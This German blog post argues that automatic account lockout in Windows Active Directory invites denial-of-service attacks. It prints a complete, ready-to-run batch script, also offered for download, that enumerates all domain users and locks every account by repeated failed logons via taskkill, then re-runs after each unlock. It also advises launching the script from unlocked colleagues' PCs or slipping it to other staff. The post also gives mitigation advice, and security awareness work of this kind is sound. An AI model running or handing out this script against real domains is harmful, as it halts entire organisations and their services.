DOS-Angriff für jedermann: AD-Konten sperren

Einer der großen Mythen der IT-Sicherheit besagt, automatische Kontensperrungen bei falscher Anmeldung seien eine gute Idee, die zu mehr Sicherheit beitrage. In der Regel ist das Gegenteil der Fall. Warum ist das so?

Die meisten IT-Systeme, die eine Anmeldung per Benutzername und Kennwort zulassen, ermöglichen die automatische Sperrung von Konten, wenn zu häufig ein falsches Kennwort eingegeben wird. Alltägliche Beispiele dafür sind die PIN-Nummer des Girokontos oder des Mobiltelefons, aber auch viele Web-Anwendungen verfügen über solch eine Funktion. Auch Windows enthält seit der ersten Veröffentlichung von Windows NT vor (ziemlich genau) zwanzig Jahren eine Option, automatisch Konten zu sperren, für die “zu viele” fehlerhafte Anmeldungen registriert werden (siehe Artikel-Bild).

Im Windows-Fall ist die Funktion optional und konfigurierbar, man kann also auswählen, ob man sie nutzen möchte oder nicht – und zwar sowohl für lokale Anmeldekonten als auch in einer Active-Directory-Domäne. Erfahrungsgemäß haben etwa vier von fünf Windows-Netzwerken die Funktion eingeschaltet, meist mit Schwellen zwischen fünf und zehn fehlerhaften Kennwörtern. Die Administratoren dieser Netzwerke sind überzeugt, damit etwas Sinnvolles für die IT-Sicherheit zu tun.

Tatsächlich aber eröffnet die automatische Kontensperrung die Tür für sehr simple Denial-of-Service-Angriffe (kurz: DOS-Angriffe) gegen die wichtigen Teile der Umgebung – oder sogar gleich für das ganze Netzwerk.

Sperrung = Denial of Service

Sobald man die Option aktiviert, gilt sie ohne jeden Unterschied für die gesamte Domäne. Man “schützt” damit also nicht nur die einfachen Benutzerkonten, die vielleicht nur über ein simples, leicht zu erratendes Kennwort verfügen. Vor allem “schützt” man damit die wirklich interessanten Konten, nämlich die mit administrativen Berechtigungen und vor allem diejenigen, mit denen Dienste gestartet werden.

Jeder, der den Namen eines bestimmten Kontos kennt, kann also fehlerhafte Anmeldungen durchführen. Sobald die Schwelle für die Sperrung erreicht ist, tut Windows, was ihm vorgeschrieben wurde, und sperrt das betreffende Konto. Das Schöne dabei ist: Es gehört gar nicht viel dazu, die Namen der Konten herauszufinden. Von einem beliebigen Mitgliedsrechner der Domäne aus kann sich jeder Domänenbenutzer ganz einfach eine Liste der Konten ausgeben lassen. Ein simpler Weg, der ohne jedes Zusatzwerkzeug funktioniert, ist das Kommando “net user /domain” in einem CMD-Fenster. Da die dahinterliegenden Funktionen ein Grundbestandteil des Betriebssystems sind, hilft es auch nicht, beispielsweise das Aufrufen des CMD-Fensters zu verweigern. Auch im Windows-Explorer kann man sich über die Berechtigungssteuerung eine Liste der Konten aufrufen. Und, und, und.

Ein Angreifer – und “Angreifer” kann hier auch ein Mitarbeiter sein, der sich über seinen Chef geärgert hat – braucht also nur ein paar Minuten, um lohnende Ziele zu identifizieren. Und er braucht Netzwerkzugriff zu irgendeinem Mitgliedsrechner der Domäne. Das reicht aus. Nun versucht er sich mit dem ausgewählten Konto anzumelden, natürlich mit “irgendeinem” Kennwort, denn es soll ja gerade falsch sein. Ein paar Versuche, und schon ist das Konto gesperrt. Lustig, wenn es sich dabei etwa um das Dienstkonto des SQL-Servers oder des ERP-Systems handelt. Nun noch ein paar Minuten warten, und im gesamten Unternehmen lässt sich hektische Betriebsamkeit beobachten.

DOS für alle

Da ich immer wieder auf zweifelnde Gesichter treffe, wenn ich Kunden auf dieses gravierende Risiko hinweise, habe ich mich entschlossen, einen lange gehegten Plan in die Tat umzusetzen. Im Folgenden stelle ich ein sehr simples Skript vor, das einen DOS-Angriff auf alle Benutzerkonten einer Windows-Domäne ausführt und diese in die automatische Sperrung treibt. Bewusst habe ich das Skript als Batch-Datei aufgebaut, denn so stellt es keine besonderen Voraussetzungen an den Rechner, von dem aus man es startet. Schon ein XP-Rechner ohne weitere Komponenten sollte ausreichen.

Thosten Butz war etwas schneller: Unvorsichtigerweise habe ich diesen Blog-Post vorher per Twitter angekündigt. Aus meiner Andeutung hat Thorsten Butz erraten, was ich vorhabe, und dieselbe Angriffslogik mit einem PowerShell-Skript aufgebaut. Hier geht es zu seinem Artikel:

[www.thorsten-butz.de : AD-Domäne lahmlegen für Anfänger]
http://www.thorsten-butz.de/ad-domain-lahmlegen/

Unter folgenden Bedingungen funktioniert der Angriff mit diesem Skript:

• Die betreffende Domäne arbeitet mit der automatischen Kontensperrung. Ob dies der Fall ist, kann jeder Benutzer (ohne administrative Rechte) herausfinden, indem er die Domäne fragt. Ein einfacher Weg dazu ist “net accounts /domain”:
  
  Steht in der Ausgabe des Kommandos bei “Sperrschwelle” etwas anderes als “Nie”, so ist die Domäne angreifbar. (Das Skript prüft das gleich selbst.)
• Das Skript wird auf einem Mitgliedsrechner der Domäne, aber nicht auf einem Domänencontroller ausgeführt. (Diese Einschränkung betrifft nur das Skript, das wir hier vorstellen. Der eigentliche Angriff würde auch ohne diese Voraussetzung funktionieren, wäre dann aber ein wenig aufwändiger.)
• Der Anwender, der das Skript ausführt, ist mit einem beliebigen Konto an die Domäne angemeldet. (Auch diese Einschränkung betrifft nur das Skript, mit einem etwas anderen Vorgehen wäre nicht mal eine Benutzeranmeldung nötig.)
• Das Windows arbeitet in deutscher Sprache. (Auf einem anderssprachigen Windows muss man an wenigen Stellen die Begriffe anpassen.)

Auch hier kann ich aus Erfahrung mit großer Sicherheit behaupten, dass diese Bedingungen kaum eine ernsthafte Hürde darstellen. Auch ein externer Angreifer, der sich einfach nur in den Räumen des “Opfer-Unternehmens” befindet, kann den Angriff in den meisten Firmen ohne Schwierigkeit und ohne Risiko ausführen. Fast überall findet man innerhalb weniger Minuten Arbeitsplätze mit nicht gesperrten PCs, auf denen man das Skript von einem Stick ruck-zuck innerhalb von Sekunden starten kann. Und schon geht der Angriff vom PC einer Sachbearbeiterin oder eines Lageristen aus …

In einer typischen “Mittelstandskonfiguration” liegt die Sperrschwelle bei nur fünf falschen Anmeldungen, und die Sperrung wird nach 30 Minuten automatisch aufgehoben. Daher ist das Skript in der Lage, den Angriff nach Ablauf dieser Zeit direkt zu wiederholen. Hat der Admin es für eine gute Idee gehalten, die Sperrung nicht automatisch aufzuheben, so ist das Skript gleich nach dem ersten Durchgang fertig.

Die Skript-Logik

Im ersten Schritt prüft das Skript, ob die Domäne den Angriff ermöglicht. Dazu führt es “net accounts /domain” aus und extrahiert mit einer FOR-Schleife den Wert für die “Sperrschwelle”. Sollte dort “Nie” stehen, beendet sich das Skript, es kann dann nichts tun. Anderenfalls liest es gleich noch aus, nach welcher Zeit die Konten wieder aktiviert werden.

Schritt 2 dient dem Erzeugen einer Kontenliste. Dazu nutzt das Skript “net user /domain” – eleganter wäre etwa dsquery gewesen, aber das ist standardmäßig auf einem Client nicht vorhanden. Da “net user” dummerweise die Liste in drei Spalten ausgibt, ist noch etwas FOR-Magie nötig. Danach liegt die Liste aller Benutzer in der Datei hurz.txt vor.

Schritt 3 ist der eigentliche Angriff. Das Skript geht die User-Datei Zeile für Zeile durch und ruft für jeden Eintrag die Sperr-Funktion auf (die im Batch im Modul :LogonTask vorliegt). Auch hier habe ich ein Kommando gewählt, das im Standardumfang von Windows vorhanden ist – exotischerweise das Programm taskkill.exe, das zum Beenden von Prozessen dient. Die eigentliche Funktion des Programms ist völlig uninteressant – relevant ist hier nur, dass man beim Aufruf ein Domänen-Konto mitgeben kann, mit dem das Programm sich an einen anderen Rechner anmeldet. Also versucht das Programm, sich mit dem angegebenen Konto beim Domänencontroller anzumelden (hier wäre auch ein beliebiger anderer Rechner außer dem lokalen möglich, der Logon-Server lässt sich aber praktischerweise über eine Systemvariable ansprechen). Das macht das Skript nun so oft, wie es die Sperrschwelle der Domäne vorsieht. Natürlich scheitert die Anmeldung jedes Mal, und nach dem letzten Versuch ist das Konto gesperrt. Auch bei höheren Schwellen dauert das pro Konto nur wenige Sekunden.

Tja, das Konto ist gesperrt. Anmeldung unmöglich …

Nach kurzer Zeit sind alle Konten gesperrt. Sollte der Admin eine automatische Entsperrung eingerichtet haben, so wartet das Skript diese Zeit ab und startet den Angriff von Neuem.

… tatsächlich sind alle Konten der Domäne gesperrt.

Der Skriptcode

Hier ist der Quellcode des Skripts. Es ist kein Anwärter für das eleganteste Skript der Welt, aber es funktioniert – und zwar eben auch ohne Installation der PowerShell oder anderer Komponenten.

Wichtig: Wenn ihr dieses Skript einsetzt, seid ihr selbst für die Folgen verantwortlich. Ihr macht euch unter Umständen strafbar, wenn ihr dieses Skript in einer produktiven Umgebung einsetzt. Vorsicht, das Skript, wie es hier aufgeführt ist, legt sofort und ohne weitere Warnung los. Innerhalb weniger Sekunden wird eine Windows-Domäne, die durch die Logik verwundbar ist, völlig unbrauchbar sein.

Natürlich übernehme ich als Autor keine Verantwortung für irgendwelche Probleme, die aus der Anwendung dieses Skripts folgen.

@ECHO OFF

REM *** Step 1: Get account lockout data ***

REM Retrieve lockout threshold and store it in %LockTH%
FOR /F "usebackq tokens=2" %%i IN (`NET ACCOUNTS /DOMAIN^|FIND /I "Sperrschwelle"`) DO (
	@SET LockTH=%%i)
)
REM If the domain never locks, end the script
IF "%LockTH%"=="Nie" (
	ECHO Konten werden nicht gesperrt. Diese Domaene ist so nicht angreifbar.
	GOTO :eof
	)

REM Retrieve the lockout duration and store it in %LockDur%
FOR /F "usebackq tokens=3" %%i IN (`NET ACCOUNTS /DOMAIN^|FIND /I "Sperrdauer"`) DO (
	@SET LockDur=%%i)
)

ECHO Konten werden nach %LockTH% Versuchen %LockDur% Minuten lang gesperrt.

REM *** Step 2: Get domain user list ***
IF EXIST hurz.txt DEL hurz.txt

REM Reformat "net user" user list to one name per line
FOR /F "usebackq skip=6 tokens=1,2,3" %%i IN (`NET USER /DOMAIN^|FIND /I /V "Der Befehl"`) DO (
	@echo %%i&@echo %%j&@echo %%k
)>>hurz.txt

REM Count number of valid lines
FOR /F "usebackq tokens=3" %%i IN (`FIND /C /V /I "ECHO ist" hurz.txt`) DO (
	SET NumUser=%%i
	)
ECHO %NumUser% Benutzerkonten gefunden.

REM *** Step 3: Try to log on as each user with a wrong password often enough
:LockoutLoop
FOR /F "usebackq" %%i IN (`TYPE hurz.txt^|FIND /I /V "ECHO ist"`) DO (
	CALL :LogonTask %%i %LockTH%
	)
	
REM Wait for the unlock, then run again
IF NOT "%LockDur%"=="Nie" (
	SET /A NumSec="LockDur*60"
	ECHO Warte %NumSec% Sekunden, greife dann neu an ...
	PING -n %NumSec% 127.0.0.1 > NUL
	GOTO :LockoutLoop
	)

GOTO :eof

:LogonTask
REM Use TASKKILL to generate a logon attempt with the specified user on the DC
FOR /L %%m IN (1,1,%2) DO (
	ECHO Benutzer %1, Versuch %%m
	TASKKILL /S %LOGONSERVER% /U %USERDOMAIN%\%1 /P a /IM NoProcess.exe
	)
	

Der Download

Hier gibt es das Skript auch als Download. Sicherheitshalber enthält der Code dort noch eine Warnung, und die Datei ist als Textdatei gespeichert. Ihr müsst sie also vor dem Ausführen umbenennen.

  Attack-DomainLockout (1,3 KiB, 1.960-mal heruntergeladen, letzte Änderung am 7. August 2013)

Einwände

Ist das nicht sehr gefährlich?

Doch. Natürlich. Die Gefahr liegt aber nicht in dem Skript und in dieser Anleitung. Das Problem ist bereits seit 20 Jahren bekannt, allerdings ist es erstaunlich vielen Administratoren nicht bewusst. Der Angriff, den wir hier beschreiben, lässt sich mit wenig Aufwand auch ohne unser Skript ausführen.

Was kann ich dagegen tun?

Die automatische Kontensperrung abschalten. Vor dem Erraten oder “Knacken” unsicherer Kennwörter schützt die Funktion sowieso nicht.

Der beste Schutz ist die Nutzung starker Kennwörter für alle Konten, auf jeden Fall aber für alle Konten mit administrativen Rechten, erhöhten Privilegien oder Dienstkonten. Ein “starkes” Kennwort ist vor allem lang, d.h. länger als 20 Zeichen. Hier helfen Kennwortsätze sehr gut. Außerdem hat natürlich jedes Konto ein eigenes Kennwort und kein Standardkennwort. Hier hilft Dokumentation.

Das Skript lässt sich doch einfach aushebeln!

Ja, klar. Es stellt ja auch vor allem ein Prinzip dar. Dieses Prinzip lässt sich auch ohne das Skript ausnutzen. Der einzige sichere Schutz ist aber das Abschalten der automatischen Kontensperrung (siehe oben).

Hahaha, bei dem Skript-Angriff habe ich doch schnell den Angreifer rausgefunden!

Sicher? In den meisten realen Netzwerken, in denen der Angriff technisch funktioniert, gibt es vor allem organisatorische Sicherheitslücken. Es ist, wie oben skizziert, meist sehr einfach, das Skript jemandem unterzujubeln. Und schon geht der Angriff vom Rechner der Marketing-Chefin oder des Praktikanten aus …